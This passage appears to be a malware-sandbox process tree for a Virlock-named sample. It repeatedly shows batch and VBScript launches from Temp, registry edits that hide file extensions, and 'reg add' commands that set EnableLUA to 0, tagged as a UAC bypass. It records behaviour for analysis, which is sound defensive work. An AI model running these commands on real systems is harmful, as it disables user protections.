                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AocEQgos.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4948
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      129⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6396
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4420
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4812
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2508
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                    126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3536
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eQEwockk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                    126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4552
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                      127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7060
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                        127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6924
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                  124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5808
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                  124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:344
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6948
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\soUEEsMg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:612
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      125⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4800
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1464
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6996
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    123⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3064
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\USYUgQoE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                    122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3004
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                        123⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3020
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                  120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4752
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                  120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6224
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    121⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1908
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                    120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5536
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RAkcsgEU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                    120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5284
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                        121⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4960
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                  118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5828
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                  118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6348
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6496
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HoYAoAEk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5092
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      119⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4668
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6388
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6192
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6608
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZKEQEUkg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4944
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      117⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2500
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4256
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4760
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6168
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yYEMMQgk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2340
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      115⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6544
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4144
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6152
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    113⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4292
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                    112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2892
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\IgMsYYcc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                    112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3448
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      113⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4504
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                PID:7076
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                  111⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4604
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                  110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:688
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                    110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4740
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                      111⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1048
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wYMwYkgI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                      110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5000
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                          111⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6792
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                    108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7036
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                    108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:372
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                      108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:344
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AKYgAsMs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                      108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2920
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                          109⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6808
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6900
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2908
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3064
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xGkkQwUk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1096
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                        107⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5356
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                  104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6224
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
